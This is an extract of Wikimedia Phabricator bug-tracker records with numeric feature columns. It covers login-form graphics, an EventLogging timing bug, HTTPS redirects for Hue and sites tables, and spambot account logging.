He no longer works here, but I've emailed him just in case he still has them and is able to dig them up.",,,1421210577,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-yhbcve5g2wopseezdanf,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,2.0,0.0,4.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,7.0,0.0,12.0,11.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,16.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,19.0,11.0,5.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,5.0,2.0,2.0,0.0,0.0,3.245614035087719,0.8421052631578947,"I'm pretty sure they were designed by Munaf Assaf.  He was my teammate on E3 when we were working on this project.  See URL .

He no longer works here, but I've emailed him just in case he still has them and is able to dig them up."
399325,Graphics on the login and create account forms are not SVG,"I'm pretty sure they were designed by Munaf Assaf.  He was my teammate on E3 when we were working on this project.  See https://gerrit.wikimedia.org/r/#/c/30637/ .

He no longer works here, but I'll email him just in case he still has them and is able to dig them up.",,,1421210565,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-yhbcve5g2wopseezdanf,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,2.0,0.0,4.0,4.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,7.0,0.0,12.0,11.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,12.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,16.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,19.0,11.0,5.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,5.0,2.0,2.0,0.0,0.0,3.210526315789474,0.8421052631578947,"I'm pretty sure they were designed by Munaf Assaf.  He was my teammate on E3 when we were working on this project.  See URL .

He no longer works here, but I'll email him just in case he still has them and is able to dig them up."
396933,Graphics on the login and create account forms are not SVG,"@SPage, @Mattflaschen, do you remember who created these, and can you hunt them down for the original vector files?",,,1420746586,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-yhbcve5g2wopseezdanf,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,9.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,13.0,9.0,0.0,4.0,0.0,0.0,13.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,4.3478260869565215,0.8260869565217391,"SCREEN_NAME,SCREEN_NAME, do you remember who created these, and can you hunt them down for the original vector files?"
85968,logInteraction won't reliably work on links due to use of mw.loader.using,"Given the following code:

```
$wrapper
	.click( function() {
		// Log the clickthrough
		mw.echo.logInteraction( 'notification-link-click', 'flyout', +data.id, data.type );
	} );
```
```
		logInteraction: function ( action, context, eventId, eventType, mobile ) {
			/* .. */
			mw.loader.using( 'ext.eventLogging', function() {
				mw.eventLog.logEvent( 'EchoInteraction', myEvt );
			} );
		},
```

While `eventLog.logEvent` is able to asynchronously send a message (using synchronous XHR or sendBeacon), because that method itself is asynchronously loaded via `mw.loader.using`, the event will not be logged on links because the script execution is terminated when the browser navigates away.",Medium,50.0,1420584247,1554175795.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-exfxdv5aauliyjbt6hcj,task_description,resolved,True,c3,1,True,True,False,-26,True,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,6.0,6.0,6.0,0.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,5.741935483870968,0.8387096774193549,"Given the following code:

``CODE`CODE`CODE`CODEeventLog.logEventCODEmw.loader.using`, the event will not be logged on links because the script execution is terminated when the browser navigates away."
1255746,logInteraction won't reliably work on links due to use of mw.loader.using,"Uses mw.track() now which removed use of `mw.loader.using` intermediary step, ref T187207.

<https://gerrit.wikimedia.org/g/mediawiki/extensions/Echo/+/2c128578ca5a3230c451a3e24e7819681326e517/modules/logger/mw.echo.Logger.js#110>",,,1554175784,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-exfxdv5aauliyjbt6hcj,task_subcomment,,True,c3,3,True,,,195,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,3.789473684210526,1.0,"Uses mw.track() now which removed use of CODE intermediary step, ref T187207.

<URL"
396316,logInteraction won't reliably work on links due to use of mw.loader.using,">>! In T85968#959936, @Krinkle wrote:
>>>! In T85968#958383, @Mattflaschen wrote:
>> I think the report is correct, but EventLogging does not use XHR (synchronous or otherwise).  The two underlying methods right now are an image (img src) and sendBeacon.
> 
> sendBeacon is synchronous from its API surface. This is by design and for this very reason. The request is deferred to another thread by the browser. Thus not subject to script termination. 

Correct.  I said it did not use synchronous XMLHttpRequest (XHR) (in fact, it doesn't use XHR at all), not that it didn't use any synchronous methods.",,,1420657203,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-exfxdv5aauliyjbt6hcj,task_subcomment,,True,c3,1,True,,,-26,True,4.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,13.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,21.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,9.0,6.0,19.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3191489361702127,0.574468085106383,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Correct.  I said it did not use synchronous XMLHttpRequest (XHR) (in fact, it doesn't use XHR at all), not that it didn't use any synchronous methods."
396224,logInteraction won't reliably work on links due to use of mw.loader.using,">>! In T85968#958383, @Mattflaschen wrote:
> I think the report is correct, but EventLogging does not use XHR (synchronous or otherwise).  The two underlying methods right now are an image (img src) and sendBeacon.

sendBeacon is synchronous from its API surface. This is by design and for this very reason. The request is deferred to another thread by the browser. Thus not subject to script termination. ",,,1420648898,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-exfxdv5aauliyjbt6hcj,task_subcomment,,True,c3,1,True,,,-26,True,0.0,0.0,2.0,2.0,2.0,8.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,25.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,15.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,15.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.275,0.8,"QUOTE
QUOTE

sendBeacon is synchronous from its API surface. This is by design and for this very reason. The request is deferred to another thread by the browser. Thus not subject to script termination. "
395936,logInteraction won't reliably work on links due to use of mw.loader.using,"I think the report is correct, but EventLogging does not use XHR (synchronous or otherwise).  The two underlying methods right now are an image (img src) and sendBeacon.",,,1420584608,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-exfxdv5aauliyjbt6hcj,task_subcomment,,True,c3,1,True,,,-26,True,0.0,0.0,0.0,0.0,3.0,8.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,11.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.9444444444444446,0.9166666666666666,"I think the report is correct, but EventLogging does not use XHR (synchronous or otherwise).  The two underlying methods right now are an image (img src) and sendBeacon."
85834,Force Hue https redirects.,Set secure_proxy_ssl_header=true for Hue after CDH upgrade.  This will make hue redirect to https:// urls properly.,Medium,50.0,1420483143,1424730418.0,PHID-USER-tafngdco2cilcyr7qhhg,False,PHID-USER-tafngdco2cilcyr7qhhg,False,PHID-TASK-qbshbehein52p2zqz2n5,task_description,resolved,True,c3,1,True,True,True,-26,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.761904761904762,0.9523809523809523,Set secure_proxy_ssl_header=true for Hue after CDH upgrade.  This will make hue redirect to https:// urls properly.
416166,Force Hue https redirects.,"Change 191911 abandoned by Ottomata:
Create apache site define for forcing https and doing transparent reverse proxy, use this for hue

Reason:
Abandoned in favor of:

https://gerrit.wikimedia.org/r/#/c/191911/
https://gerrit.wikimedia.org/r/#/c/192463/

[[https://gerrit.wikimedia.org/r/191911]]",,,1424729948,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qbshbehein52p2zqz2n5,task_subcomment,,True,c3,1,False,,,-19,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,12.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,7.0,3.9302325581395348,0.7674418604651163,"Change 191911 abandoned by Ottomata:
Create apache site define for forcing https and doing transparent reverse proxy, use this for hue

Reason:
Abandoned in favor of:

URL
URL

[[GERRIT_URL]]"
416152,Force Hue https redirects.,"Change 192389 merged by Ottomata:
Redirect to https for hue if not coming via https proxy

[[https://gerrit.wikimedia.org/r/192389]]",,,1424729300,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qbshbehein52p2zqz2n5,task_subcomment,,True,c3,1,False,,,-19,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,21.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,12.0,3.7916666666666665,0.875,"Change 192389 merged by Ottomata:
Redirect to https for hue if not coming via https proxy

[[GERRIT_URL]]"
416033,Force Hue https redirects.,"Change 192389 had a related patch set uploaded (by Ottomata):
Redirect to https for hue if not coming via https proxy

[[https://gerrit.wikimedia.org/r/192389]]

#patch-for-review",,,1424723550,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qbshbehein52p2zqz2n5,task_subcomment,,True,c3,1,False,,,-19,True,0.0,0.0,0.0,0.0,3.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,8.0,3.5945945945945947,0.8108108108108109,"Change 192389 had a related patch set uploaded (by Ottomata):
Redirect to https for hue if not coming via https proxy

[[GERRIT_URL]]

#patch-for-review"
414882,Force Hue https redirects.,"Change 191911 had a related patch set uploaded (by Ottomata):
Create apache site template for forcing https and doing transparent reverse proxy, use this for hue

[[https://gerrit.wikimedia.org/r/191911]]

#patch-for-review",,,1424453783,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-qbshbehein52p2zqz2n5,task_subcomment,,True,c3,1,False,,,-19,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,7.0,4.0,0.8372093023255814,"Change 191911 had a related patch set uploaded (by Ottomata):
Create apache site template for forcing https and doing transparent reverse proxy, use this for hue

[[GERRIT_URL]]

#patch-for-review"
85754,Convert all `sites` tables to use https URLs,"With the relative URLs we have right now MediaWiki (Http::get) will default to http which in turn will break for https only hosts (like ruwikinews).


See also: https://www.wikidata.org/wiki/Wikidata:Project_chat#Bug_when_adding_links_to_Wikinews",Medium,50.0,1420367424,1427385822.0,PHID-USER-2mey32xhshfnf7rz7jjn,False,PHID-USER-2mey32xhshfnf7rz7jjn,False,PHID-TASK-42upiw7xulyls7arvgav,task_description,declined,True,c3,1,True,True,True,-26,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,9.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.0,14.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.942857142857143,0.9142857142857143,"With the relative URLs we have right now MediaWiki (Http::get) will default to http which in turn will break for https only hosts (like ruwikinews).


See also: URL"
433361,Convert all `sites` tables to use https URLs,This will make https only URLs show up in the SiteLinksView and we don't want this. The real solution is to change sites to https whenever they are actually being changed to it.,,,1427385822,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-42upiw7xulyls7arvgav,task_subcomment,,True,c3,1,True,,,-14,True,0.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,0.0,11.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,6.0,8.0,11.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,8.0,14.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.027777777777778,0.8888888888888888,This will make https only URLs show up in the SiteLinksView and we don't want this. The real solution is to change sites to https whenever they are actually being changed to it.
398894,Convert all `sites` tables to use https URLs,Example from original report: https://www.wikidata.org/wiki/Q18636241,,,1421157808,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-42upiw7xulyls7arvgav,task_subcomment,,True,c3,1,True,,,-25,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.833333333333333,1.0,Example from original report: URL
398824,Convert all `sites` tables to use https URLs,"The only problem we had was that URLs in the sitelink view (on repo) suddenly became https (instead of protocol relative), that could pose a problem for users that aren't able to use https.
Because of this only the sites table entry for ruwikinews on Wikidata has https urls, all other remain protocol-relative (I changed that per hand :/).",,,1421148883,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-42upiw7xulyls7arvgav,task_subcomment,,True,c3,1,True,,,-25,True,1.0,0.0,0.0,0.0,1.0,10.0,3.0,1.0,0.0,0.0,3.0,1.0,0.0,3.0,0.0,3.0,0.0,5.0,16.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,22.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,3.0,7.0,4.0,0.0,8.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,16.0,1.0,0.0,0.0,0.0,3.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,3.8767123287671232,0.7397260273972602,"The only problem we had was that URLs in the sitelink view (on repo) suddenly became https (instead of protocol relative), that could pose a problem for users that aren't able to use https.
Because of this only the sites table entry for ruwikinews on Wikidata has https urls, all other remain protocol-relative (I changed that per hand :/)."
398822,Convert all `sites` tables to use https URLs,"The original problem was that it did choke on the redirect from http to https instead of following it. Which is probably OK for this use case.

Using https URLs will work for all Wikimedia wikis. I heard this had the effect that the links in the sidebar would also become https instead of protocol relative, but this is not the case for ru.wikinews.org. Why did we not force https for all interwikis then?

Should we change the default for Http::get for protocol relative to https?

For those projects that were not switched to https only using the protocol relative URL in the sidebar would be the correct behavior. For https only wikis that would also be acceptable although https would be preferable over protocol relative.",,,1421148150,,PHID-USER-mdihg2tyzmlvyhn3h32y,False,,,PHID-TASK-42upiw7xulyls7arvgav,task_subcomment,,True,c3,1,True,,,-25,True,1.0,0.0,0.0,0.5,2.0,5.0,3.5,0.0,0.5,0.0,2.0,0.0,0.0,1.5,0.0,2.0,0.0,7.5,12.5,0.0,0.0,0.5,0.0,0.0,3.5,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.5,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.5,0.0,19.0,1.5,1.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.5,0.0,6.0,4.5,8.0,2.5,0.5,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,3.0,12.5,1.0,1.5,0.0,0.0,3.0,0.0,2.5,0.0,0.0,1.5,0.0,0.0,0.0,4.3768115942028984,0.6739130434782609,"The original problem was that it did choke on the redirect from http to https instead of following it. Which is probably OK for this use case.

Using https URLs will work for all Wikimedia wikis. I heard this had the effect that the links in the sidebar would also become https instead of protocol relative, but this is not the case for ru.wikinews.org. Why did we not force https for all interwikis then?

Should we change the default for Http::get for protocol relative to https?

For those projects that were not switched to https only using the protocol relative URL in the sidebar would be the correct behavior. For https only wikis that would also be acceptable although https would be preferable over protocol relative."
396108,Convert all `sites` tables to use https URLs,We manually switched over the ruwikinews entry to https on wikidatawiki now. Everything else (also all other wikis) stayed unaltered.,,,1420632531,,PHID-USER-2mey32xhshfnf7rz7jjn,False,,,PHID-TASK-42upiw7xulyls7arvgav,task_subcomment,,True,c3,1,True,,,-26,True,4.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,12.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.75,0.9583333333333334,We manually switched over the ruwikinews entry to https on wikidatawiki now. Everything else (also all other wikis) stayed unaltered.
85703,New user account creations (mostly spambots) not logged in loginwiki,"(Apologize if duplicate)
For some time now, the spammers in small wikis are not logged in loginwiki. As a result, checkusers could not easily check those accounts.

For example, most of the locally created account below are spambots, and not logged in loginwiki

https://id.wikisource.org/wiki/Istimewa:Catatan/newusers?uselang=en
https://id.wikisource.org/w/index.php?namespace=2&tagfilter=&title=Istimewa%3APerubahan+terbaru",Medium,50.0,1420218425,1436224316.0,PHID-USER-plwc6itr3olxhzrq4uph,False,PHID-USER-a6p24cvyblhfzc7we7nc,False,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_description,resolved,True,c3,1,False,False,True,-26,True,2.0,0.0,0.0,2.0,5.0,5.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,11.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,4.035087719298246,0.7192982456140351,"(Apologize if duplicate)
For some time now, the spammers in small wikis are not logged in loginwiki. As a result, checkusers could not easily check those accounts.

For example, most of the locally created account below are spambots, and not logged in loginwiki

URL
URL"
487554,New user account creations (mostly spambots) not logged in loginwiki,"Change 220970 merged by jenkins-bot:
Autocreate accounts on meta, mediawiki.org, loginwiki

[[https://gerrit.wikimedia.org/r/220970]]",,,1436223921,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mpjcsxrquz63qyzsqnf3,task_subcomment,,True,c3,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.217391304347826,0.8695652173913043,"Change 220970 merged by jenkins-bot:
Autocreate accounts on meta, mediawiki.org, loginwiki

[[GERRIT_URL]]"
482006,New user account creations (mostly spambots) not logged in loginwiki,"Change 220970 had a related patch set uploaded (by Gergő Tisza):
Autocreate local versions of global accounts on meta, mw.o

[[https://gerrit.wikimedia.org/r/220970]]
